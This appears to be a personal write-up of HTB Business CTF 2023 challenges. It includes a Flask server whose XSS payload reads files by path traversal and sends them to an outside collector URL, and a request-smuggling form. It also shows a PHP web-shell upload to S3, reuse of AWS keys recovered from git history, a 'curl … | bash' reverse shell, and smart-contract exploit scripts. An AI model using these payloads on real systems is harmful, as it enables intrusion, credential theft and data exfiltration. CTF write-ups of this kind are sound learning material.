8 min read

HTB Business CTF 2023

Table of Contents

Web

Desyncth Recruit

I went in a rabbit hole during this challenge and at a first time I thought about a whole different exploit, which made me question the difficulty of the task.

Brainstorming

Yes, I thought about dom-clobbering and tried to find an XSS. But I was completely wrong, it was much simpler.

Reading Werkzeug Desync vulnerability

I tried the provided script in the blog article and here is what I had

Werkzeug Logs

So, the jquery.js script request is being overwritten by my own script. By that we got XSS.

I tried to write a server that extract the necessary values to generate the pin. This is the second one in a first time I went to get the the /proc/sys/kernel/random/boot_id value

from flask import Flask, Response

app = Flask(__name__)

@app.route("/")
def index():
    resp = Response("""
    var request = new XMLHttpRequest();
    request.open('GET', '/api/ipc_download?file=../../../../../../sys/class/net/eth0/address ', false);
    request.send();

var flag = request.responseText;
window.location.href = "https://end3yx9kqyxwf.x.pipedream.net/?flag=" + flag;
""")

    resp.headers["Content-Type"] = "text/plain"
    return resp

@app.route("/exploit")
def exploit():
    return """
     <form id="x" action="http://localhost:1337/" method="POST" enctype="text/plain">
      <textarea name="GET http://5.tcp.eu.ngrok.io:12147 HTTP/1.1
    Foo: x">
        Mizu</textarea>
      <button type="submit">CLICK ME</button>
    </form>
    <script>
      x.submit();
    </script>
    """

if __name__ == "__main__":
    app.run("0.0.0.0", 3000)

You need to transform the mac address to its integer representation, it’s simple you can use this small script

int(mac_address.replace(":",""),base=16)

It worked and I had access to the werkzeug console, so I printed the flag Werkzeug Console

Cloud

Unveiled

sudo echo 'IP s3.unveiled.htb unveiled.htb' >>/etc/hosts

aws --endpoint-url=http://s3.unveiled.htb s3 ls
230131 unveiled-backups
230131 website-assets


aws --endpoint-url=http://s3.unveiled.htb s3 ls s3://unveiled-backups

aws --endpoint-url=http://s3.unveiled.htb s3 cp s3://unveiled-backups . --recursive

Finding a terraform file, while reading it we can find a misconfiguration

variable "aws_access_key"{
  default = ""
}
variable "aws_secret_key"{
  default = ""
}

provider "aws" {
  access_key=var.aws_access_key
  secret_key=var.aws_secret_key
}

// Creating an S3 bucket
resource "aws_s3_bucket" "unveiled-backups" {
  bucket = "unveiled-backups"
  acl    = "private"
  tags = {
    Name        = "S3 Bucket"
    Environment = "Prod"
  }
  versioning {
    enabled = true
  }
}

// The bucket is publicly readable
resource "aws_s3_bucket_acl" "bucket_acl" {
  bucket = aws_s3_bucket.unveiled-backups.id
  acl    = "public-read"
}

// Creating website-assets
resource "aws_s3_bucket" "website-assets" {
  bucket = "website-assets"
  acl    = "private"
}

// Allowing the `683633011377` account to Get/List and PutObject
data "aws_iam_policy_document" "allow_s3_access" {
  statement {
    principals {
      type        = "AWS"
      identifiers = ["683633011377"]
    }

    actions = [
      "s3:GetObject",
      "s3:ListBucket",
      "s3:PutObject"
    ]

    resources = [
      aws_s3_bucket.website-assets.arn,
      "${aws_s3_bucket.website-assets.arn}/*",
    ]
  }


resource "aws_s3_bucket_policy" "bucket_policy" {
  bucket = aws_s3_bucket.website-assets.id
  policy = data.aws_iam_policy_document.allow_s3_access.json
}
}

So, we can upload a php file to the website assets. I will assume that it’s the website files , so Let’s upload a php web shell.

aws --endpoint-url=http://s3.unveiled.htb s3 cp exploit.php s3://website-assets/exploit.php --profile=todelete
find / -name flag.txt  -exec cat {}\;

Emit

Nmap output

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJ+m7rYl1vRtnm789pH3IRhxI4CNCANVj+N5kovboNzcw9vHsBwvPX3KYA3cxGbKiA0VqbKRpOHnpsMuHEXEVJc=
|   256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOtuEdoYxTohG80Bo6YCqSzUY9+qbnAFnhsk4yAZNqhM
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.52 ((Ubuntu))
| http-git:
|   10.129.245.222:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: Updating agents
|_http-title: Satellite Management System
|_http-server-header: Apache/2.4.52 (Ubuntu)
| http-methods:
|_  Supported Methods: OPTIONS HEAD GET POST
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Used the git-dumper tool to retrieve the git repo

mkdir dumped_repo
git-dumper http://url/ dumper-repo
cd dumper-repo
ls

> ssm_agent.py

Now let’s analyze the CDK code

import boto3
import os

# Retrieve AWS credentials from environment variables
access_key_id = os.environ.get('AWS_ACCESS_KEY_ID')
secret_access_key = os.environ.get('AWS_SECRET_ACCESS_KEY')
region = os.environ.get('AWS_DEFAULT_REGION')
endpoint_url = 'http://cloud.emit.htb' #Localstack v0.12.6

# Create an AWS session using the retrieved credentials and region
session = boto3.Session(
    aws_access_key_id=access_key_id,
    aws_secret_access_key=secret_access_key,
    region_name=region
)


# Creating an SSM Document
def create_document(name, content):
    ssm_client = session.client('ssm')

    response = ssm_client.create_document(
        Content=content,
        Name=name,
    )

    document_version = response['DocumentDescription']['DocumentVersion']
    document_name = response['DocumentDescription']['Name']
    print(f"Document '{document_name}' created with version: {document_version}")

# Adding tags to the document
def add_tags_to_resource(resource_arn, tags):
    ssm_client = session.client('ssm')

    response = ssm_client.add_tags_to_resource(
        ResourceType='Document',
        ResourceId=resource_arn,
        Tags=tags,
    )

    print(f"Tags added to resource: {resource_arn}")

# Send commands to instances <- That might come handy if we want to get a shell
def send_command_to_instances(instance_ids, command):
    ssm_client = session.client('ssm')

    response = ssm_client.send_command(
        DocumentName='AWS-RunShellScript',
        InstanceIds=instance_ids,
        Parameters={'commands': [command]},
    )

    command_id = response['Command']['CommandId']
    print(f"Command '{command}' sent to instances: {', '.join(instance_ids)}")
    print(f"Command ID: {command_id}")

# Example usage
if __name__ == '__main__':
    # Create an SSM document
    document_name = 'MySSMDocument'
    document_content = '''
        {
            "schemaVersion": "2.2",
            "description": "My SSM document",

            "mainSteps": [
                {
                    // Document that runs a script
                    "name": "RunCommand",
                    "action": "aws:runShellScript",
                    "inputs": {
                        "runCommand": [
                            "echo 'Running custom script'"
                        ]
                    }
                }
            ]
        }
    '''
    create_document(document_name, document_content)

    # Add tags to an AWS resource (SSM document)
    resource_arn = f"arn:aws:ssm:{region}:123456789012:document/{document_name}"
    tags = [
        {'Key': 'Environment', 'Value': 'Production'},
        {'Key': 'Project', 'Value': 'Payload Control System'},
    ]
    add_tags_to_resource(resource_arn, tags)

    # Send a command to EC2 instances
# We got the instances ID here
    instance_ids = ['i-0b6abfb4681d96994', 'i-0a2aff07a25c66208']
    command = ''
    send_command_to_instances(instance_ids, command)

We can see the localstack endpoint, I will add it

echo 'IP cloud.emit.htb >> /etc/hosts'

Going back into previous commits :

commit 9cb739e6e09e04bba0aa08b486f58923fb5db514
Author: maximus_supervisor <maximus_supervisor@emit.htb>
Date:   Tue Jul 4 05:22:49 2023 +0000

    Redeploying stack
git diff 9cb739e6e09e04bba0aa08b486f58923fb5db514
``
>> -access_key_id = "AKIA6CFMOGSLALOPETMB"
>> -secret_access_key = "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"
>> -region = "us-east-2"

And by that we got an account creds that we can use.

Also, we can see that there is a role that the lambda assumes. It’s used to deploy the lambda function

ManagedPolicyArns: [arn:aws:iam::aws:pol#icy/AmazonS3FullAccess]
RoleName: maximus-agent

So, let’s try to assume the role.

I tried to bruteforce user permissions, I have even modifed the bruteforce-iam.py code to communicate with the local stack endpoint and ignore errors ( which are due to localstack nature) however I dropped that halfway as I got too many errors

 aws --endpoint-url=http://cloud.emit.htb sts assume-role --role-arn "arn:aws:iam::925169031785:user/maximus-agent" --role-session-name 'i-assumed-an-user' --profile=todelete

Getting creds

We can see that this role has access to cloudformation.

so let’s list stacks

aws --endpoint-url=http://cloud.emit.htb cloudformation describe-stacks  --profile=todelete2

And we get some credentials

 {
            "StackId": "arn:aws:cloudformation:us-east-1:000000000000:stack/mission-deployment-stage4/2f8076c2",
            "StackName": "mission-deployment-stage4",
            "Parameters": [
                {
                    "ParameterKey": "Password",
                    "ParameterValue": "dHgtu10kLmDrESd"
                }
            ],
            "CreationTime": "2023-07-17T16:41:14.346000+00:00",
            "StackStatus": "CREATE_COMPLETE",
            "Capabilities": [],
            "Outputs": [],
            "Tags": []
        },

Reading the ssm commands I found what looks like the hidden endpoint of admin dashboard

I used the password with the username and boom

Dashboard

Simple command execution list-functions; curl http://10.10.14.6/shell.sh | bash and we got a shell

Reverse Shell

I stopped here the rest is exploiting the localstack vulnerability https://www.cvedetails.com/cve/CVE-2021-32090/.

Use it to get a root shell.

Blockchain

Easy and straightforward, call the signContract function with the right argument

function signContract(uint256 signature) external {
        if (signature == 1337) {
            signed = true;
        }
#! /usr/bin/bash

cast send '0x1b633EC69a4276b2b9883D83b6011b4e93f03068' 'signContract(uint256)' 1337 --private-key $PRIVATE_KEY -r "http://$RPC_URL"

echo 'Checking if solved'

cast call '0x3964fa31Fa3E109485208210110F2B3c905D306B' 'isSolved()' --private-key $PRIVATE_KEY -r "http://$RPC_URL"

Funds Secured


function closeCampaign(bytes[] memory signatures, address to, address payable crowdfundingContract) public {
        address[] memory voters = new address[](6);
        bytes32 data = keccak256(abi.encode(to));


        for (uint256 i = 0; i < signatures.length; i++) {
            // Get signer address
            address signer = data.toEthSignedMessageHash().recover(signatures[i]);

            // Ensure that signer is part of Council and has not already signed
            require(signer != address(0), "Invalid signature");
            require(_contains(councilMembers, signer), "Not council member");
            require(!_contains(voters, signer), "Duplicate signature");

            // Keep track of addresses that have already signed
            voters[i] = signer;
            // 6 signatures are enough to proceed with `closeCampaign` execution
            if (i > 5) {
                break;
            }
        }

        Crowdfunding(crowdfundingContract).closeCampaign(to);
    }

This challenge was easy, yet It was too obvious for me to see xd. After fidgeting for hours and even reading again about pre-compiled contracts. Yes, the 0x1 to 0x10 addresses belong to pre-compiled contracts in the ethereum chain. After a bit rest I saw it instantly.

We want to avoid the require(_,_) in the code and we can do it by simply passing an empty signatures array. Yes! there is no checks on the passed signature array.

Here is a fix to make the code secure


require(signatures.length>=5,"Not enough signatures");
//... rest of the code
        for (uint256 i = 0; i < signatures.length; i++) {

So to exploit it I used the cast command for forgery too

#! /usr/bin/bash
PRIVATE_KEY="0x2082407cf2cb9c41306e5b84e06b68267137aac12c9ead0cf64cd7ca865f2446"
RPC_URL="94.237.60.119:40800"

cast send '0xa2cea63a89A125122440f6F86227F164C04a3F1E' 'closeCampaign(bytes[] memory, address , address)' '[]' '0x377cCd3a14ECD47dE15E373661Bf78069100B8dc' '0xdBAEA0B1180bE69EbC5c80c1836fdEdB57ce5137' --private-key $PRIVATE_KEY -r "http://$RPC_URL"

echo 'Checking if solved'

cast call '0x3afa6d9dFfb397693072Fcc2959A9B0c888F9EbC' 'isSolved()' --private-key $PRIVATE_KEY -r "http://$RPC_URL"

Confidentiality

This challenge is quite straight forward and luckily I made my research in the previous one due to my confusion. We can go for signature maellability. Due to the use of the assembly block with the erecover function to get validate the signature instead of using a secure library like the one provided by openzeppelin. Honestly, I was too lazy to write code to generate a signature so I passed this challenge however, it turned out we can also use how the assembly code works.

    function deconstructSignature(bytes memory signature) public pure returns (uint8, bytes32, bytes32) {
        bytes32 r;
        bytes32 s;
        uint8 v;
        // ecrecover takes the signature parameters, and the only way to get them
        // currently is to use assembly.
        /// @solidity memory-safe-assembly
        assembly {
            r := mload(add(signature, 0x20))
            s := mload(add(signature, 0x40))
            v := byte(0, mload(add(signature, 0x60)))
        }
        return (v, r, s);
    }

We are actually ignoring the rest of the passed bytes we are only taking the first 65 bytes. Here is a blog article that explains it well Intro to cryptography and signatures in ethereum.

Now we can pass the same signature with a some offset so it passes the isSignatureUsed and gives the right address.

Final words

I really enjoyed the cloud challenges as they are rare to find ! I wish that i had more time to view more tasks. I didn’t include the tasks that I solved after the CTF ended but the last blockchain challenge is really worth looking into.

If you got any questions or if I did an oopsie feel free to reach for me on twitter @YBK_Firelights or on discord .fir3cr4ckers. Happy hacking \o/ 🧨⚡